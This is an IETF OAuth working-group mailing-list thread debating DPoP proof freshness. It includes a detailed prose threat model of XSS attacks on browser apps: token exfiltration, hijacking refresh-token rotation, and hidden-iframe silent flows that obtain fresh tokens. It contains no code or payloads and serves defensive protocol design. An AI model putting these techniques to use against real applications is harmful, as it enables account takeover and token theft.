Hi all,

This is a very useful discussion, and there are some merits to using DPoP in 
this way. However, the attacker's capabilities are stronger than often assumed, 
so it may not matter in the end. I've been wanting to write this out for a 
while now, so I've added a couple of scenarios below. Note that I just came up 
with the scenario names on the fly, so these may not be the best ones for 
future use ...

(This got a lot longer than I expected, so here's a TOC)
- Attack assumption
- Scenario 1: offline XSS against existing tokens
- Scenario 2: passive online XSS against existing tokens
- Scenario 3: active online XSS against existing tokens
- Scenario 4 (!): obtaining fresh tokens
- Mitigation: DPoP in a Web Worker
- Conclusion (TL;DR)

I hope this all makes sense!

Philippe




Assumption

The attacker has the ability to execute JS code in the application's context 
(e.g., through XSS, a malicious ad, ...). For simplicity, I'll just refer to 
the attack as "XSS".



Scenario 1: offline XSS against existing tokens

In this scenario, the malicious code executes and immediately performs a 
malicious action. The attacker is not necessarily present or actively 
participating in the attack (i.e., abuse of stolen tokens is done at a later 
time). 

A common example would be stealing tokens from localStorage and sending them to 
an attacker-controlled server for later abuse. Existing mitigations include 
short AT lifetimes and RT rotation.

The attacker could determine that DPoP is being used, and also extract 
precomputed proofs for any of these tokens. The use of DPoP makes token abuse a 
bit harder (large window = lots of proofs), but does not really strengthen the 
defense beyond existing mitigations (Short AT lifetimes and RT rotation). 



Scenario 2: passive online XSS against existing tokens

In this scenario, the malicious code executes and sets up a long-term attack. 
The attacker (i.e., a malicious application running on a server) is passive 
until certain criteria are met. 

An attack could be to manipulate the JS execution context, so that the attacker 
can detect new tokens being obtained by the client. (e.g., by overriding a 
listener or changing core function prototypes). Each time new tokens are issued 
(AT + RT), the attacker sends them to the malicious server. The moment the 
attacker detects that the user closes the application, the malicious server 
continues the RT rotation chain. Since the application is no longer active, the 
AS will not detect this. The attacker now has access for as long as the RT 
chain can be kept alive.

When DPoP is used, the attacker will need proofs to present to the AS when 
running a refresh token flow. If the proofs are independent of the RT being 
used, these can be precomputed. When the RT is part of the proof, as per 
Filip's suggestion, the attacker can only run a RT flow once (with the stolen 
RT + proof). This attack scenario is fairly well mitigated when DPoP proofs 
include the RT (hash).



Scenario 3: active online XSS against existing tokens

In this scenario, the malicious code executes and sets up a long-term attack. 
The attacker is actively controlling the behavior of the malicious code. 

The attack vectors are the same as scenario 2. Once in control, the attacker 
can use the same mechanism as the application does to send requests to any 
endpoint. There is no need to obtain an RT (which may not even be possible), 
since the attacker can just abuse the AT directly.

When DPoP is used, little changes here. The attacker can use the application's 
DPoP mechanism to obtain legitimate proofs. DPoP does nothing to mitigate this 
type of attack (as already stated in Daniel's threat model: 
https://danielfett.de/2020/05/04/dpop-attacker-model/).



Scenario 4: obtaining fresh tokens

In this scenario, the malicious code executes and immediately launches the 
attack. In this attack, the malicious code loads a hidden iframe in the 
application's DOM. In that iframe, the attacker starts a silent flow with AS to 
obtain an authorization code (AC). If the user has an active session, this will 
succeed (existing cookie + all origins match). The attacker extracts this AC 
and exchanges it for tokens with the AS. 

At this point, the attacker has a fresh set of tokens that grant access to 
resources in the name of the user. Short AT lifetimes and RT rotation are 
useless, since the attacker is in full control of the tokens.

Using DPoP in this scenario does not help at all. The attacker can use their 
own private key to generate the necesary DPoP proofs, starting with the code 
exchange.

One solution is to turn off silent flows for SPAs, since they have become quite 
unreliable with third-party cookie blocking restrictions.



Mitigation: DPoP in a Web Worker

Isolating sensitive features from malicious JS is virtually impossible when the 
application's legitimate JS code needs access to them. One solution that can 
work is the use of a Web Worker. Concretely, the DPoP private key is kept in a 
worker, isolated from the main application. All requests that require a DPoP 
proof are tunneled through the worker, which adds the required proof. 

In this setup, the worker can also handle RTs, since they will require a proof. 
This strategy is already implemented by some libraries (e.g., Auth0's JS 
library). When ATs are also sender-constrained with DPoP, they can also be kept 
in the worker instead of in the application.

This implementation strategy has the following impact on the scenarios 
discussed above.

- Scenario 1 (offline XSS): mitigated, since there is nothing to steal from the 
application
- Scenario 2 (passive online XSS): mitigated, since there are no tokens to steal
- Scenario 3 (active online XSS): impacted, but not mitigated. The attacker can 
no longer send requests directly, and is forced to go through the worker. The 
worker can enforce restrictions on requests it sends (e.g., rate limiting, only 
allowing certain types of requests or certain endpoints, ...)
- Scenario 4 (obtaining fresh tokens): no effect --> this is a big problem!



Conclusion

Even with current best practices and DPoP in place, an attacker can still send 
requests through the application, or obtain an entirely fresh set of tokens 
with a hidden silent flow. The former scenario can be somewhat reduced, but the 
latter cannot be mitigated. 

In a nutshell: XSS = Game over


—
Pragmatic Web Security
Security for developers
https://pragmaticwebsecurity.com/


> On 3 Dec 2020, at 13:55, Torsten Lodderstedt 
> <torsten=40lodderstedt....@dmarc.ietf.org> wrote:
> 
> I understand. Thanks! 
> 
> I think RT rotation + RT hash in the proof would also stop the attack.  
> 
>> Am 03.12.2020 um 13:19 schrieb Filip Skokan <panva...@gmail.com>:
>> 
>> I'm failing to understand why binding the proof to the access token ensures 
>> freshness of the proof.
>> 
>> Because when access tokens issued to public browser based clients have a 
>> short duration you need continued access to the private key to issue new 
>> proofs. When I exfiltrate the RT and pre-generate tons of proofs while the 
>> user is active on the page through XSS I can then use the RT and my prepared 
>> proofs to talk to the AS to keep on refreshing the AT and use it against the 
>> RS. When the value of the token is part of the proof, i cannot pre-generate 
>> them for future issued access tokens. Short `iat` based windows don't help 
>> here.
>> 
>> S pozdravem,
>> Filip Skokan
>> 
>> 
>> On Thu, 3 Dec 2020 at 12:59, Torsten Lodderstedt <tors...@lodderstedt.net> 
>> wrote:
>> Hi, 
>> 
>> I'm failing to understand why binding the proof to the access token ensures 
>> freshness of the proof. I would rather think if the client is forced to 
>> create proofs with a reasonable short lifetime, chances for replay could be 
>> reduced. 
>> 
>> Beside that as far as I remember the primary replay counter measure is the 
>> inclusion of the endpoint URL and HTTP method in the proof, since it reduces 
>> the attack surface to a particular URL. So in the context of freshness, we 
>> are talking about using the same proof with the same URL again. 
>> 
>> best regards,
>> Torsten. 
>> 
>>> Am 03.12.2020 um 10:20 schrieb Filip Skokan <panva...@gmail.com>:
>>> 
>>> Hi Brian, everyone,
>>> 
>>> While the attack vector allows direct use, there is the option where a 
>>> smarter attacker will not abuse the gained artifacts straight away. Think 
>>> public client browser scenario with the non-extractable private key stored 
>>> in IndexedDB (the only place to persist them really), they wouldn't use the 
>>> tokens but instead, exfiltrate them, together with a bunch of pre-generated 
>>> DPoP proofs. They'll get the refresh token and a bunch of DPoP proofs for 
>>> both the RS and AS. With those they'll be able to get a fresh AT and use it 
>>> with pre-generated Proofs after the end-user leaves the site. No available 
>>> protection (e.g. RT already rotated) will be able to kick in until the 
>>> end-user opens the page again.
>>> 
>>> OTOH with a hash of the AT in the Proof only direct use remains.
>>> 
>>> If what I describe above is something we don't want to deal with because of 
>>> direct use already allowing access to protected resources, it's 
>>> sufficiently okay as is (option #1). However, if this scenario, one 
>>> allowing prolonged access to protected resources, is not acceptable, it's 
>>> option #2.
>>> 
>>> Ad #2a vs #2b vs #2c. My pre-emptive answer is #2a, simply because we 
>>> already have the tools needed to generate and validate these hashes. But 
>>> further thinking about it, it would feel awkward if this JWS algorithm 
>>> driven at_hash digest selection wouldn't get stretched to the 
>>> confirmations, when this are placed in a JWT access token, cool - we can do 
>>> that, but when these are put in a basic token introspection response it's 
>>> unfortunately not an option. So, #2b (just use sha-256 just like the 
>>> confirmations do).
>>> 
>>> Best,
>>> Filip
>>> 
>>> 
>>> On Wed, 2 Dec 2020 at 21:50, Brian Campbell 
>>> <bcampbell=40pingidentity....@dmarc.ietf.org> wrote:
>>> There were a few items discussed somewhat during the recent interim that I 
>>> committed to bringing back to the list. The slide below (also available as 
>>> slide #17 from the interim presentation) is the first one of them, which is 
>>> difficult to summarize but kinda boils down to how much assurance there is 
>>> that the DPoP proof was 'freshly' created and that can dovetail into the 
>>> question of whether the token is covered by the signature of the proof. 
>>> There are many directions a "resolution" here could go but my sense of the 
>>> room during the meeting was that the contending options were:
>>>      •  It's sufficiently okay as it is
>>>      •  Include a hash of the access token in the DPoP proof (when an 
>>> access token is present)
>>> 
>>> Going with #2 would mean the draft would also have to define how the 
>>> hashing is done and deal with or at least speak to algorithm agility. 
>>> Options (that I can think of) include:
>>>      • 2a) Use the at_hash claim defined in OIDC core 
>>> https://openid.net/specs/openid-connect-core-1_0.html#CodeIDToken. Using 
>>> something that already exists is appealing. But its hash alg selection 
>>> routine can be a bit of a pain. And the algorithm agility based on the 
>>> signature that it's supposed to provide hasn't worked out as well as hoped 
>>> in practice for "new" JWS signatures 
>>> https://bitbucket.org/openid/connect/issues/1125/_hash-algorithm-for-eddsa-id-tokens
>>>      • 2b) Define a new claim ("ah", "ath", "atd", "ad" or something like 
>>> that maybe) and just use SHA-256. Explain why it's good enough for now and 
>>> the foreseeable future. Also include some text about introducing a new 
>>> claim in the future if/when SHA-256 proves to be insufficient. Note that 
>>> this is effectively the same as how the confirmation claim value is 
>>> currently defined in this document and in RFC8705.
>>>      • 2c) Define a new claim with its own hash algorithm agility scheme 
>>> (likely similar to how the Digest header value or Subresource Integrity 
>>> string is done).
>>> 
>>> I'm requesting that interested WG participants indicate their preference 
>>> for #1 or #2. And among a, b, and c, if the latter. 
>>> 
>>> I also acknowledge that an ECDH approach could/would ameliorate the issues 
>>> in a fundamentally different way. But that would be a distinct protocol. If 
>>> there's interest in pursuing the ECDH idea, I'm certainly open to it and 
>>> even willing to work on it. But as a separate effort and not at the expense 
>>> of derailing DPoP in its general current form. 
>>> <Slide17.jpeg>
>>> 
>>> 
>>> CONFIDENTIALITY NOTICE: This email may contain confidential and privileged 
>>> material for the sole use of the intended recipient(s). Any review, use, 
>>> distribution or disclosure by others is strictly prohibited.  If you have 
>>> received this communication in error, please notify the sender immediately 
>>> by e-mail and delete the message and any file attachments from your 
>>> computer. Thank you._______________________________________________
>>> OAuth mailing list
>>> OAuth@ietf.org
>>> https://www.ietf.org/mailman/listinfo/oauth
>>> _______________________________________________
>>> OAuth mailing list
>>> OAuth@ietf.org
>>> https://www.google.com/url?q=https://www.ietf.org/mailman/listinfo/oauth&source=gmail-imap&ust=1607592086000000&usg=AOvVaw3hGaihxAdyXVvzFnVTpc6N
>> 
> 
> _______________________________________________
> OAuth mailing list
> OAuth@ietf.org
> https://www.ietf.org/mailman/listinfo/oauth

_______________________________________________
OAuth mailing list
OAuth@ietf.org
https://www.ietf.org/mailman/listinfo/oauth

Reply via email to